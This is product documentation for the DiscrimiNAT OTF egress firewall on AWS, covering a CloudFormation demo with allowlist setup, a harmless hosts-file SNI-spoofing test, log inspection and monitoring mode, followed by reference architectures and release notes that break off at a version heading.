Stack](img/launch-stack.svg)](https://console.aws.amazon.com/cloudformation/home?#/stacks/create/review?templateURL=https://cloudformation-aws-discriminat-gwlb.s3.eu-west-2.amazonaws.com/2az_demo.json&stackName=plugleak) --- ### iii. STACK PARAMETERS ![CloudFormation Stack Parameters](img/03_stack-parameters.png) :::info Contact us for expert help at `devsecops@chasersystems.com` at any stage of your journey – we'll jump on a screen-sharing call right away! ::: You may want to change the **Stack name**, everything else has safe defaults. **Stack name:** This is a unique identifier for your deployment. In our case, and the case of this documentation, we have chosen _plugleak_. This name will prefix a lot of the resources that the stack will create. If you choose a different name and are following this demo through, don't forget to replace _plugleak_ with _your-chosen-name_ in the relevant steps. #### EXAMPLE APPLICATION EGRESS ALLOWLIST CONFIGURATION This section contains optional customisation for the demo allowlist. **MyAppHTTPSAllowlist:** A comma-separated list of domains (without whitespace) that you wish your demo app to be able to connect to via a HTTPS or TLS connection. Note: Most services now use TLS for end-to-end encryption. It's not just for web page traffic, this also covers a number of other services such as SMTP, Databases, Kafka, etc. **MyAppSSHAllowlist:** A comma-separated list of domains (without whitespace) that you wish your demo app to be able to connect to via SSH. Note: This will also cover SFTP, SCP and GitLab/GitHub runners. :::info Feel free to change these to whatever you like, but for the rest of the documentation for this demo, I'll assume you left the defaults in place. If you're following along and have changed these, don't forget to substitute the domains shown for your domains. ::: #### OPTIONAL Example VPC Network Configuration If you wish to customise the network configuration, you can do so here. But it is not necessary for the purposes of this demo. The fields are fairly self explanatory, but I'll briefly describe them now. **VpcCidr:** The VPC-level CIDR block to deploy in this region. **PrivateSubnetAZ1:** CIDR for the Private Subnet in Availability Zone 1. **PrivateSubnetAZ2:** CIDR for the Private Subnet in Availability Zone 2. **PublicSubnetAZ1:** CIDR for the Public Subnet in Availability Zone 1. **PublicSubnetAZ2:** CIDR for the Public Subnet in Availability Zone 2. #### OPTIONAL DiscrimiNAT ADVANCED CONFIGURATION **InstanceType:** this, by default is set to `t3.small`. This is completely adequate for the purposes of this demo, as it will only require a small instance. In production, we'd suggest a more powerful instance type. Valid values are `t3.small` , `c6i.large` , `c6i.xlarge` , `c6a.large` , `c6a.xlarge` . :::info The default of `t3.small` should suffice for light to medium levels of usage. Anything less than 2 CPU cores and 2 GB of RAM is not recommended. For performance testing, faster access to the Internet or for accounts with a large number of instances (ENIs, rather), you may want to choose a machine type with dedicated CPU cores. ::: Finally, just tick on the checkbox that says _I acknowledge that AWS CloudFormation might create IAM resources with customised names_ then click on **Create stack** and the stack will begin to build. --- ### iv. SMALL WAIT ![CloudFormation Deployment Wait](img/08_cloudformation_05.png) The stack is now being deployed, it should only take a few minutes, and assuming your IAM permissions are correct, it should complete successfully like so: ![CloudFormation Stack Deployed](img/09_cloudformation_06.png) :::caution We will be using AWS Session Manager to connect to demo instances later, and due to a race condition between when DiscrimiNAT OTF comes up and when the SSM agent checks its connection, it could be **around 5 minutes** after creation before you're able to connect to them due to the agent back-off time period, so it is advisable to wait a few minutes after creation before continuing. ::: --- ### v. OVERVIEW OF WHAT'S BEEN CREATED #### v(a). THE ARCHITECTURE OF DiscrimiNAT INSIDE THE VPC The very short version is that DiscrimiNAT OTF replaces your NAT Gateways. If that's all you want to know, feel free to jump to [section v(b)](#vb-the-demo-environment); otherwise, let's take a look. First you'll see we have the VPC which has both private and public subnets. These subnets are set up with the CIDR ranges given by the stack variables. You'll also see the route tables for the public and private subnets ![VPC Layout](img/10a-vpc.png) You can see from here that the public subnet route tables go through the Internet Gateway as usual. This is also where the DiscrimiNAT instances sit, much like NAT Gateways. However the private routing is slightly different, so lets take a look at the private route tables. ![Private Route](img/10a_private_route.png) As we can see here the route to `0.0.0.0/0` is going out via a VPC endpoint. ![GWLB Endpoint](img/10a_endpoint.png) And that endpoint is a GatewayLoadBalancer (GWLB) type. :::info Due to the way GWLBs and AWS Networking interact, GWLBs require a VPC Endpoint per subnet. ::: Looking in Load Balancers under EC2 we see that there is only one in this VPC and it's of type `gateway`. ![Gateway Load Balancer](img/10a_gwlb.png) And looking at the load balancer, it's forwarding to this target group, which contains the DiscrimiNAT instances. ![Target Group](img/10a_target_group.png) The short version of this is the following: The private subnets (where your protected instances will live) route via a VPC endpoint to a GWLB which then forwards on to the DiscrimiNAT instances. This means that, unlike other architectures, if a DiscrimiNAT instance becomes unhealthy there will be no break in service while it's replaced. You can read more about this in our [99 Problems but Load Balancing ain't one](/blog/99-problems-but-load-balacing-aint-one/) blog post, or the [Reference Architectures](/docs/discriminat/aws/reference-architectures/) page. An even shorter version is that functionally, DiscrimiNAT replaces your NAT Gateways. :::info You *can* run NAT Gateways along with DiscrimiNAT, but you will be both double NATing and paying for extra services. We haven't found a practical benefit to running both. ::: #### v(b). The demo environment Looking at the instances we can see there are 4 instances here. ![Instances](img/10b_instances.png) The top two are instances of DiscrimiNAT OTF, but we also have two other instances. These are here to emulate protected instances. **MySecuredApp-plugleak:** This instance has allowlists applied to it, both for TLS traffic and SSH traffic. We will look into how this is done shortly. **MyMonitoredApp-plugleak:** This instance has been put into our _see-thru_ mode which allows you to monitor the traffic the instance is generating without affecting the connections in any way. :::info Monitoring, or _see-thru_ mode, is exceptionally useful in the discovery phase of your implementation. Unlike a lot of solutions, we allow you to examine the traffic going out, so you can add what's needed, know if needed rules are present, and then switch over to a secured mode with confidence. See our video guide 🎥 on that [here](/docs/discriminat/aws/logs-ref/#building-an-allowlist-from-scratch-video-version). ::: --- ### vi. CONFIGURING AN ALLOWLIST #### vi(a) LOCATION AND SYNTAX If we look at the instance called **MySecuredApp-plugleak** we will see it has three Security Groups attached. ![Security Group list](img/11_secgroups_list.png) DiscrimiNAT checks what domains each instance is allowed to access by seeing what Security Groups are attached to the instance, and then looking at the description of the Outbound Security Group Rules. Let's take a look at one. ![zoomed out view](img/11_secgrp_zoomout.png) If we look at the highlighted section more closely, we can see that the outbound rule has text in the description field. Specifically some colon-separated values. This is where DiscrimiNAT reads its config from. ![config view](img/11_secgrp_zoomin.png) We can break this down as follows: **discriminat:** this tells DiscrimiNAT that this description field should be parsed and the rules found within should be applied to anything attached to this Security Group. **tls:** this tells DiscrimiNAT that this is for TLS connections rather than SSH. **api.github.com,icanhazdadjoke.com:** this is a comma-separated list of domains that any instance attached to this Security Group can have access to. Alternatively, this list can be stored in an [SSM Parameter in JSON format](/docs/discriminat/aws/config-ref/#tls-and-ssh-mode). As you can see, this allows for least-privilege allowlisting, each instance only needs to have the list of domains that **it** needs to access in its allowlist. We encourage you to create Security Groups as you would normally. Tight in scope and **attached to their respective applications**. #### vi(b) EFFECTIVE USE OF DiscrimiNAT USING SECURITY GROUPS This section is to give you a basic grounding on how to configure Security Groups for use with DiscrimiNAT, if you are simply interested in going through the demo, you can carry on to [section vii](#vii-discriminat-in-action). For an effective use of DiscrimiNAT OTF: - Add destination protocols and [FQDNs](https://en.wikipedia.org/wiki/Fully_qualified_domain_name) to the description field of each **outbound rule**. The format of this text is `DiscrimiNAT::[,]` . Alternatively, the list can be stored in an [SSM Parameter in JSON format](/docs/discriminat/aws/config-ref/#tls-and-ssh-mode). - Valid protocols are `ssh` and `tls` only. - There can be as many FQDNs as you can fit separated by commas. There cannot be whitespace, though. - Some examples of what can go in the description field: - `DiscrimiNAT:TLS:api.foo.example.com,downloads.example.net` - `DiscrimiNAT:SSH:sftp.txs.example.org,ssh.github.com` - All DiscrimiNAT rules must be under `Outbound rules`. Inbound Rules are not read. - Under `Type`, choose any TCP protocol type and **specify exactly one port number** in `Port range`. Multiple ports, ranges, other protocols, and so on are **not** supported. - For your typical **HTTPS** outbound connection, the port number would be `443`. - A typical **SFTP** connection has the port number of `22`. - `Destination` must be set to the narrowest IP block you can think of. Now if you don't have anything narrower than `0.0.0.0/0` that is absolutely fine! The firewall takes care of validating the destination IP address of actual packets against the given domain names' DNS etc., but the Outbound Rule at the AWS networking and security level must allow the packet to leave the EC2 Instance. **`0.0.0.0/0` is a safe choice with DiscrimiNAT OTF in the way.** - That's it! Although you may want to check the [full reference](/docs/discriminat/aws/config-ref/) for more possibilities. --- ### vii. DiscrimiNAT IN ACTION Now we're going to connect to one of our instances using AWS Session Manager. In the AWS EC2 console, find the instance called **MySecuredApp-plugleak** and click on its name, then click on **Connect**. :::tip It is advisable to **wait for over 5 minutes** after stack creation to do this, as the SSM agent might not have had the time to reconnect. The instances come up at the same time as the DiscrimiNAT instances in this CloudFormation stack and there can be a race condition as described earlier. ::: On the next page, ensure you have chosen to connect via **Session Manager**. If this is disabled, wait for a few minutes for the agent to reconnect. ![SSM Connect](img/12_ssm_connect.png) Now we're connected, let's test `curl`ing to an FQDN we have configured in the allowlist. Then let's test an FQDN we haven't configured in the allowlist. First run `curl https://istio.io` (an FQDN not in our allowlist). We will immediately see a connection reset. This is because the rules attached to this machine do not include this FQDN. :::tip We give a connection reset rather than a hang as it gives fast feedback to developers. A hang (drop & timeout), especially if connecting to multiple domains, or the same domain multiple times, can waste developer time or stall applications. ::: Now run `curl https://icanhazdadjoke.com` (an FQDN in our allowlist) and we'll see a dad joke appear in the command line because this FQDN is allowed. :::info Chaser Systems are not responsible for the quality of dad joke you are given. Dad jokes are read at your own risk. ::: ![Command Output](img/12_curl_view.png) Let's take the view that our organisation has decided they need this machine to be able to connect to **istio.io**. It's been agreed by everyone, so let's add **istio.io** to our Security Group Rule Description to add it to DiscrimiNAT's config. ![Add istio to security group](img/12_add_istio.png) We will now need to wait around a minute for the rule to be picked up. :::info DiscrimiNAT polls the AWS API at 1-3 times a minute, and as there is no global store, each instance picks up the config individually, so new rules usually take around a minute to go live. The lack of a global store means no databases are required and makes the machines stateless and easily replaceable. ::: Now we will try `curl https://istio.io` and we'll get a very large HTML response. ![istio now works](img/12_istio_works.png) As you can see, DiscrimiNAT is simple to configure and does exactly what it's supposed to do. However one thing we haven't shown you yet is something most of our competitors _can't_ do. And that is: Combat **SNI Spoofing**. :::info SNI Spoofing put simply is when an attacker attempts to make a connection by claiming they're connecting to a specific DNS host in [TLS SNI](https://www.cloudflare.com/en-gb/learning/ssl/what-is-sni/) but are actually using an IP address completely unrelated to that domain name. A [lot of firewalls](/discriminat/comparison/aws-network-firewall/) just check to see if the TLS SNI contains the correct domain name, without checking whether the IP is actually valid for that domain name. The other competitors that *do* check the IP is valid are prone to false positives, and the destination only works *some* of the time. DiscrimiNAT combats this using our proprietary **Wormhole DNS** technology. ::: One of the simplest ways to spoof SNI is to edit the *hosts* file, so let's do that. * Run `sudo vi /etc/hosts` * Once the file is open press the **o** key. * insert the following line `8.8.8.8 istio.io` * press **escape** then the following keys **:wq** then **return** Now, when you try to `curl https://istio.io`, it will use the IP address in the *hosts* file (which is a Google IP) instead of doing a DNS query. [Lesser firewalls would let this through](/discriminat/comparison/aws-network-firewall/#litmus-test), but DiscrimiNAT won't. ![You Shall Not Pass!](img/12_sni_proof.png) As you can see, DiscrimiNAT has blocked the traffic instantly. It will even report on this on the logs. Talking of which... --- ### viii. HOW DiscrimiNAT LOGS WORK DiscrimiNAT has no UI of its own, instead it ties into your cloud service, so in this case we'll be looking at CloudWatch. :::tip DiscrimiNAT can send its logs to wherever you need, and can support most Linux-based logging agents such as Splunk, Rapid7, etc. ::: In CloudWatch, browse to **Logs -> Log Management -> DiscrimiNAT -> flow**. The flow log shows all hosts going through the DiscrimiNAT instances and whether the traffic was allowed out or not, along with some other information. Let's search in here specifically for **istio**. ![Cloudwatch Search Results](img/13_istio_search.png) You should see at least 3 results here, one where you `curl`ed at first and it was disallowed, one after the rule was in place and it worked, and one where we tried to SNI spoof. Let's look at these one by one. ![Istio wasn't allowed](img/13_istio_disallow.png) We can see here that this was an attempt to connect to **istio.io** that was **disallowed** and the reason is because there were no matching rules found. Now let's have a look at the working one. ![Istio was allowed through](img/13_istio_allowed.png) We can see here that this was an attempt to connect to **istio.io** that was **allowed** and the reason is because there was a matching rule in Security Group **sg-0daabff1c073ac1f7** that was attached to the instance. So let's take a look at when we tried to trick the firewall into letting spurious traffic through. ![No Spoofing Allowed](img/13_istio_spoofed.png) We can see here that this was an attempt to connect to **istio.io** that was **disallowed** and the reason is because there was **spoofing detected**. As you can imagine, this is something your security team would be very interested in as it indicates an exfiltration or a C2 attempt. Let’s now look at the configuration logs. Browse to **CloudWatch -> Logs -> Log Management -> DiscrimiNAT -> config**. Here we can see any config changes and errors. For example here we can see our *istio* rule being picked up by both DiscrimiNAT instances. ![Config logs](img/13_config_log.png) This is useful not only for fault diagnosis, but also for compliance reasons as any changes to the allowlists are logged. :::tip As you can see, all our logs are JSON and therefore you can query them and pull information out easily. You can even do it on the Cloud Shell CLI using a combination of the **aws** command and **jq**. For an example, see the recipe [here](/docs/discriminat/aws/logs-ref/#building-an-allowlist-from-scratch-video-version). ::: --- ### ix. MONITORING (see-thru) MODE One of the toughest parts of adopting egress filtering is the initial phase. Planning, knowing what to actually put in your allowlists, trying to make sure they're not too open, while making sure your app and the underlying OS have everything they need to function correctly. Our monitoring mode is designed specifically to help with this and aid with the adoption. We have an instance configured in _see-thru_ in our demo environment, so let's look at the Security Groups attached to the instance called **MyMonitoredApp-plugleak**. ![Security Groups attached to the monitored instance](img/14_sec_groups.png) As we can see here, one of the groups is called **MyApp-Monitored-Egress-plugleak**, lets take a look at this, and the description on the outbound rule. ![The configuration for monitoring mode](img/14_sec_group_config.png) So we can see here that we have _discriminat_ to indicate the DiscrimiNAT should read this config, followed by _see-thru_ which tells DiscrimiNAT that the instances attached to this Security Group are in monitoring mode, followed by _2026-12-31_ which is the date when the monitoring mode will expire. :::caution When monitoring mode expires, the rule is disregarded and the traffic goes back to being blocked. ::: Let's connect to the monitored box using SSM (using the same method as the other instance) and run the following commands. ``` curl --head https://yahoo.com curl --head https://graph.facebook.com curl --head https://apple.com curl --head https://youtube.com ``` You'll find they all work. It's as if DiscrimiNAT isn't there. So let's take a look at the logs. Navigate to **CloudWatch -> Logs -> Log Management -> DiscrimiNAT -> flow**, then search for **yahoo.com**. ![log results](img/14_yahoo.png) Let's expand that log entry. ![The log entry for yahoo.com](img/14_yahoo_log_entry.png) You may notice that there are extra fields in this log entry compared to the others we've looked at. These are **see_thru_exerted**, **see_thru_gid**, and **see_thru_days_remaining**. This is an easy way to tell that this log entry comes from a monitored group. Let's go through what these mean. **see_thru_gid**: this tells you which Security Group this log entry has come from. So if you have multiple apps, all in monitor mode, you can still tell which is which. **see_thru_days_remaining**: How many days there are until the monitoring shuts off and the traffic starts being blocked as normal. _(Note, we do not use 0. The last day is 1 and the first non-working day is -1.)_ **see_thru_exerted**: Did the object (eg. an instance or a lambda) needed to have the monitoring mode on to be able to access this host? For example, if there is another Security Group attached to it allowing it through, then this value would be `false`. If this has been set to `true` then this traffic would not have been allowed through under normal circumstances. :::tip Using an `aws logs` command, you can pull through all the hosts that the machine connects to, and even more than that, using **see_thru_exerted**, you can choose to see which hosts haven't been allowed through via other Security Groups yet. For a fully worked out example, see the recipe [here](/docs/discriminat/aws/logs-ref/#building-an-allowlist-from-scratch-video-version). ::: ### x. TEARDOWN Teardown is just as simple as deleting the CloudFormation stack. Navigate to **CloudFormation** in the AWS console, find the stack named **plugleak** and delete it. It will then tear down all the resources in the demo environment. --- ### xi. NEXT STEPS Hopefully now you've seen what DiscrimiNAT can do for your organisation, and how easy it is to configure. Get a Demo Explore the Terraform module :::tip DiscrimiNAT has an ever-growing feature set. If there is a feature you think is missing and that is blocking your adoption, please get in touch. It may already be on our roadmap. If it isn't and we think it's a good idea, it can be added to our roadmap. ::: --- Troubleshooting Discovering FQDNs Recipe --- ## DiscrimiNAT OTF on AWS Reference Architectures # Reference Architectures DiscrimiNAT OTF supports three deployment topologies. You are free, however, to deploy it as you see fit and consult our [DevSecOps Support](/support/) as needed. :::info In a **Shared VPC** setup, DiscrimiNAT must be deployed in the VPC Owner account. ::: The key differentiators between the topologies are laid out in the table below. |Topology|FailureTime to Detection|FailureTime to Recovery|Min Instancesper AZ|Inter-AZData Transfer|Auto Scaling|Max Gbps| |-|-|-|-|-|-|-| |[GWLB in Cross-Zone](#gwlb-in-cross-zone-mode)|10 seconds|60 seconds†|1|yes|yes|100| |[GWLB in Intra-Zone](#gwlb-in-intra-zone-mode)|10 seconds|60 seconds†|2|no|yes|100| |[ENI per AZ](#eni-per-az)|2 seconds|150 seconds‡|1 (also max)|no|no|5| **†** This is GWLB behaviour as quoted below. The health checks' interval, though, is set to 5 seconds in our Terraform modules therefore reducing the 20-second delay from them to 10 seconds. > The minimum duration to start re-routing new flow is up to 70 seconds. It is a sum of 20 seconds for health checks (Min. Interval: 10s, Min. threshold: 2) and 50 seconds for GWLB backend to detect and re-route. Source: [https://aws.amazon.com/.../best-practices-for-deploying-gateway-load-balancer/](https://aws.amazon.com/blogs/networking-and-content-delivery/best-practices-for-deploying-gateway-load-balancer/) **‡** In practice, this is how long EC2 Auto Scaling takes to replace a DiscrimiNAT Instance upon receiving `Unhealthy` _HealthStatus_ on the [SetInstanceHealth API](https://docs.aws.amazon.com/autoscaling/ec2/APIReference/API_SetInstanceHealth.html). The GWLB topologies do not use the SetInstanceHealth API for recovery, but instead are purely load balancer health check managed. ## GWLB in Cross-Zone mode In the `cross-zone` mode, the Gateway Load Balancer (GWLB) will distribute traffic evenly across all deployed AZs. This reduces the number of DiscrimiNAT instances you will have to run for high-availability but increases data-transfer costs. :::note Terraform variable `high_availability_mode` should be set to `cross-zone`. This is also the default. The Terraform module is [here](https://registry.terraform.io/modules/ChaserSystems/discriminat-gwlb/aws). ::: :::caution Minimum number of allocated Elastic IPs for high-availability (=2) with headroom for auto-scaling (+1) is **3 per region**. ::: ![](/img/gwlb-cross-zone-v2.drawio.png) ## GWLB in Intra-Zone mode In the `intra-zone` mode, the GWLB will distribute traffic evenly across all DiscrimiNAT instances in the same AZ as the client. For effective high-availability, this mode will need at least two instances per deployed AZ. Please note this does not fully protect you against the failure of an entire AZ on the Amazon side, however your other services in the zone would potentially be impacted too and therefore not sending egress traffic. :::note Terraform variable `high_availability_mode` should be set to `intra-zone`. The Terraform module is [here](https://registry.terraform.io/modules/ChaserSystems/discriminat-gwlb/aws). ::: :::caution Traffic will not be balanced to other zones, even in case of failure of all instances in one zone, therefore minimum high-availability numbers (=2) have to be configured per AZ. ::: :::caution Minimum number of allocated Elastic IPs for high-availability (=2) with headroom for auto-scaling (+1) is **3 per AZ**; and therefore 6 for two AZs. ::: ![](/img/gwlb-intra-zone-v2.drawio.png) ## ENI per AZ A single DiscrimiNAT instance, wrapped in an Auto Scaling Group of its own, is deployed per AZ without any load balancers. Routing is directly to the ENI (Network Interface) of this instance. The ENI is statically bound to the Launch Template in the provided CloudFormation & Terraform modules, therefore only one active instance per AZ can exist at a time. Should the built-in health check fail, the instance will be terminated and a new one brought in its place by its Auto Scaling Group. This process takes up to 150 seconds. The Terraform module for this topology is [here](https://registry.terraform.io/modules/ChaserSystems/discriminat-eni/aws). ![](img/20200523_1discrimiNAT_160.png) --- ## DiscrimiNAT OTF on AWS Release Notes # Release Notes ## version 2.50 (2026-08-13) * added support for default rules – these apply as fallback in case more specific rules for a workload at its Security Group level are absent or disallow a connection, or a client has not been discovered yet * support for StartTLS SMTP is now **in preview**. The how-to guide on enabling it is [here](/docs/how-to/starttls/smtp/). * port can be overridden per address in the [ARN variant](/docs/discriminat/aws/config-ref/#arn-variant) of supplying an allowlist in JSON format. tl;dr `kafka.example.com:9093` is now possible. * improved handling of TCP retransmissions arising from Post-Quantum Cryptography (PQC) TLS cipher exchange * version of bundled Public Suffix List: [e1b8015](https://github.com/publicsuffix/list/blob/e1b8015c3b2f0f4f8c18659c2480fc1a22c07b20/public_suffix_list.dat) **Known Issues** * default rules do not support wildcarded FQDNs in this version * lowercase StartTLS commands, sent by Python smtplib for example, get rejected **Breaking Changes** * _see-thru_ mode now only applies to the port range specified in the Security Group Rule the annotation itself is specified in. The older behaviour of allowing all ports through is still present if ports are not set at the Security Group Rule level. * `undiscovered client` log message introduced in v2.30 is removed as the introduction of default rules make it redundant **Meta** * alignment with [MITRE D3FEND D3-OTF](https://d3fend.mitre.org/technique/d3f:OutboundTrafficFiltering/) nomenclature to more precisely convey DiscrimiNAT ~~Firewall's~~ OTF's role in security architecture. OTF means Outbound Traffic Filtering. **Terraform Updates** * full diff between previous and this version can be found [here](https://github.com/ChaserSystems/terraform-aws-discriminat-gwlb/compare/2.40.0...2.50.0) for the **-gwlb** module, and [here](https://github.com/ChaserSystems/terraform-aws-discriminat-eni/compare/2.40.0...2.50.0) for the **-eni** module ## version 2.40 (2026-05-06) * added a Post-Quantum Cryptography `pqc` key exchange field in flows logs that indicates if a TLS handshake used a known [PQC TLS Supported Group](https://www.iana.org/assignments/tls-parameters/tls-parameters.xhtml#tls-parameters-8). The value may be _true_ or _false_ in case of TLS; or absent in the case of SSH. This feature, although in preview, can be used to assess PQC readiness in your outbound connections. * TLS SNI matching against user-defined rules is now case-insensitive to support client-side libraries that did not lowercase user input before initiating a new outbound connection * broadened support for some legacy SSH ciphers * lowered disk usage and telemetry data collection volume (when left enabled) * a mitigation for [CVE-2026-31431](https://ubuntu.com/security/CVE-2026-31431) (aka [Copy.Fail](https://copy.fail/)) is included with package _kmod_ version _31+20240202-2ubuntu7.2_, [as advised by Canonical](https://ubuntu.com/blog/copy-fail-vulnerability-fixes-available) * version of bundled Public Suffix List: [8b4345f](https://github.com/publicsuffix/list/blob/8b4345f9a2513011b21e6fc7b8a7197a849be52c/public_suffix_list.dat) **Terraform Updates** * `custom_deployment_id` added to Terraform modules to afford parallel but distinct deployments in the same AWS account. External IPs, the CloudWatch Log Group name and Default Preferences can now have a unique identifier tied into a DiscrimiNAT deployment of the same ID. * DiscrimiNAT instances are now able to read their own tags via the metadata service. This is necessary for the feature above to work. * full diff between previous and this version can be found [here](https://github.com/ChaserSystems/terraform-aws-discriminat-gwlb/compare/2.30.0...2.40.0) for the **-gwlb** module, and [here](https://github.com/ChaserSystems/terraform-aws-discriminat-eni/compare/2.30.0...2.40.0) for the **-eni** module ## version 2.30 (2026-03-12) * improved and quicker new ENI detection. This should improve new ECS Task detection as a side-effect. * a new log message `undiscovered client` in case an ENI has not yet been polled and discovered by DiscrimiNAT, separating this circumstance from the `no matching rules found` log message * Post-Quantum Cryptography (PQC) TLS cipher exchange in ClientHello support **in preview** even if the handshake is split over multiple IP packets * fixed a bug where ENIs of type 'branch' were causing all known ENIs (clients) to be dropped * version of bundled Public Suffix List: [7ef6384](https://github.com/publicsuffix/list/blob/7ef6384612e1b48bb8b6023716cc9a493ac25d8a/public_suffix_list.dat) ## version 2.20 (2025-08-27) * wildcard matched FQDNs no longer cause a `cache not ready` flow log event on DiscrimiNAT instance restart or upgrade. This is accomplished by sharing knowledge of such FQDNs between DiscrimiNATs: * by discovering peers which either have label key or label value set to `discriminat` (case-insensitive) * exchanging knowledge continuously over port 1042 UDP with peers * incoming peers learn from outgoing peers during a rolling restart/upgrade * related and necessary changes have been made in all our Terraform (and other IaC) modules * messaging between peers is encrypted and authenticated, and does not contain policy * caveats: * upgrading from any version older than 2.20 will, for once and the last time, cause wildcard matching FQDNs to not work for a few seconds until the cache is warmed up again * from v2.20 onwards, this should not occur as long as one-at-a-time rolling upgrades are made (default behaviour of our IaC modules) * single-instance deployments will continue to lose memory of wildcard matched FQDNs and require a few seconds to allow them again after first encounter * new config log _reason_: `malformed fqdn`. This is emitted in case a syntactically invalid domain name is specified in an allowlist * improvement in how quickly new clients (Elastic Network Interfaces) are detected * version of bundled Public Suffix List: [44211b0](https://github.com/publicsuffix/list/blob/44211b0fbb8b4e09b89a553f5b26c6a02f889c4b/public_suffix_list.dat) * underlying OS has been changed from Ubuntu 20.04 LTS to Ubuntu 24.04 LTS * version number strategy has changed: * DiscrimiNAT itself will only use Major and Minor in its version numbers, and not use the Patch level from the [semantic versioning scheme](https://semver.org/). For example, this release is 2.20 instead of 2.20.0 * related components to a specific version of DiscrimiNAT will follow the full semantic versioning scheme, where the Major and Minor will correspond to the recommended version of DiscrimiNAT. For example, Terraform modules' version 2.20.0, 2.20.1, 2.20.2 and so on will be best suited for DiscrimiNAT 2.20 **Terraform Updates** * allowed UDP port 1042 to and from DiscrimiNATs' security group for messaging between peers, as mentioned above * added tags to launch template network interfaces * added tags to a few other resources * full diff between previous version and this can be found [here](https://github.com/ChaserSystems/terraform-aws-discriminat-gwlb/compare/2.9.0...2.20.0) for the **-gwlb** module, and [here](https://github.com/ChaserSystems/terraform-aws-discriminat-eni/compare/2.9.0...2.20.0) for the **-eni** module ## version 2.9.0 (2024-11-28) * default preferences (see [docs](/docs/discriminat/aws/default-prefs/)), of which there are four at this time, can now be stored in an SSM Parameter named `DiscrimiNAT` (case-sensitive): * `wildcard_exposure`: control whether `*` is accepted in FQDNs or not, and if accepted, with prohibit [public suffix](https://publicsuffix.org/) safeguard or not. **Please familiarise yourself with [operation and caveats](/blog/wildcards-and-system-2-thinking/#operation) on the behaviour of wildcard rules before using them.** * `flow_log_verbosity`: control whether all logs are emitted, just _disallowed_ or none at all * `see_thru`: set non-blocking, monitoring _see-thru_ mode as a default (useful with new deployments so traffic is not blocked upon deployment) * `x509_crls`: whether to automatically allow CRL Endpoints of x509 SSL certificates for all TLS FQDNs allowlisted. This was a feature introduced in v2.7.0 * list of FQDNs for allowlisting, in JSON format, can now be read in from an SSM Parameter or a Secret in Secrets Manager * format is `{"addrs": ["fqdn1.com", "*.github.com", ...]}` * a symbolic reference of the Parameter/Secret, using its full ARN, will need to be added to the Security Group Rules' description field instead of comma-separated FQDNs. For example, `discriminat:tls:arn:aws:ssm:eu-west-2:111111111111:parameter/team-foo-allowed-fqdns` and `discriminat:tls:arn:aws:secretsmanager:eu-west-2:111111111111:secret:service-foo-allowed-fqdns` * DiscrimiNAT's IAM Role's Policy will need _ssm:GetParameter_ (for SSM Parameters) and _secretsmanager:GetSecretValue_ (for Secret) permissions on the ARNs referred * **previous method of storing comma-separated FQDNs in Security Group Rules' description fields is preserved and will continue to work** * version of bundled Public Suffix List: [931546b](https://github.com/publicsuffix/list/blob/931546b3beb45b544d0692aa116b420fb34b9dfa/public_suffix_list.dat) * improvement in startup time with a large allowlist (>500 FQDNs) * new config log _reason_: `rejected`. This is emitted in case a wildcard FQDN is specified but the _wildcard\_exposure_ preference value does not allow its inclusion. For example, ``{addr: "*.github.io", cat: "addr", outcome: "publicsuffix[.]org list matched with `github.io`"}`` * raw packet captures (PCAP) for ~10 seconds may be included in telemetry data if Automated System Health Reporting is not opted out of * fixed a bug where wildcard matched FQDNs would not be allowed, until the cache for them was warmed up, in spite of _see-thru_ mode being set * fixed occasional "spoofing detected" flow logs disallowing connections to Cloudinary and Azure Cloud CDN FQDNs * TLS and SSH connectivity improvements to some hosts that would not acknowledge trailing zeroes in padding bytes of a handshake * absence of leading zeroes in month and date components of a _see-thru_ date now works. For example, previously, `2024-9-1` would not have worked, however, `2024-09-01` would have. Both work now. * wildcard matched connections are now timed out on first attempt, instead of connection reset, until the cache has warmed up for them. This reduces the number of attempts made by an app/client when accessing a wildcarded FQDN for the first time. **Breaking Changes** * plaintext HTTP CRL Endpoints of x509 SSL certificates for all TLS FQDNs allowlisted are no longer allowed automatically. Set the preference `x509_crls` to `auto_allow` to restore previous behaviour. If you did not know about this, you are likely not affected. We have proactively informed the customers we definitely knew were relying on this. **Terraform Updates** * [preferences' defaults](/docs/discriminat/aws/default-prefs/) in JSON format are deployed automatically, along with the IAM Policy permission for DiscrimiNAT to be able to read them, from v2.9.0 of our Terraform module to serve as a starting point. Can be overridden from the new `preferences` variable. * option to disable automatic updates to the Launch Template when a new DiscrimiNAT AMI version is available with the `ami_auto_update` boolean variable * renamed variable `ami_name` to `ami_version`. It now accepts the _semver_ for DiscrimiNAT. * list-type variables `iam_get_additional_ssm_params` and `iam_get_additional_secrets` introduced to automatically add IAM Get permissions on DiscrimiNAT's IAM Role's Policy for the ones specified. This enables DiscrimiNAT to read allowlists specified in these resources. * full diff between previous version and this can be found [here](https://github.com/ChaserSystems/terraform-aws-discriminat-gwlb/compare/2.8.0...2.9.0) for the **-gwlb** module, and [here](https://github.com/ChaserSystems/terraform-aws-discriminat-eni/compare/2.8.0...2.9.0) for the **-eni** module ## version 2.8.0 (2024-08-20) * wildcard support is now in preview: * they are supported for the TLS protocol only * the character `_` may be used to substitute one wild character in an FQDN to be allowed * the set of wild characters is from `a` to `z`, `0` to `9` and the `-` (hyphen or minus) only; the `.` (period, dot or fullstop) character is not included * you may use any number of wildcards in a single FQDN address (in the allowlist) * see our [dedicated page on using wildcards](/blog/wildcards-and-system-2-thinking/) with examples and the caveats expected in this preview; ensure you've read the __Operation section__ as well * further improvements are expected in the next version of DiscrimiNAT; please [write to us](/support/) with your experience on using this feature * suppressed repetitive warning log messages `no ip addresses resolved` about CRL endpoint `crl.comodo.net` * improved compatibility with proprietary SSH server-side implementations, such as GoAnywhere, that send a larger than normal list of ciphers during the initial handshake * Terraform module [v2.8.0](https://registry.terraform.io/modules/ChaserSystems/discriminat-gwlb/aws/2.8.0) will need to be used to deploy the v2.8.x AMIs of DiscrimiNAT ## version 2.7.1 (2024-02-12) * `warning` type messages in `config` logs now do not repeat before 10 minutes. This will reduce the frequency of `no ip addresses resolved`, etc. log messages significantly. * disabling **Automated System Health Reporting** can now be done by setting variable `ashr` to `false` from Terraform module [v2.7.1](https://registry.terraform.io/modules/ChaserSystems/discriminat-gwlb/aws/2.7.1) onwards. The earlier method will continue to work. * automated system health reporting, if left enabled, now runs at shutdown too. * automatically allowed CRL Endpoints of x509 SSL certificates now emit the name of the otherwise allowed FQDN and the issuing CA in the certificate chain, from which the CRL Endpoint was determined, in the `reason` field of the `config` log. For example, `crl endpoint from issuer GTS Root R1 in certificate chain of trends.google.com`. ## version 2.7.0 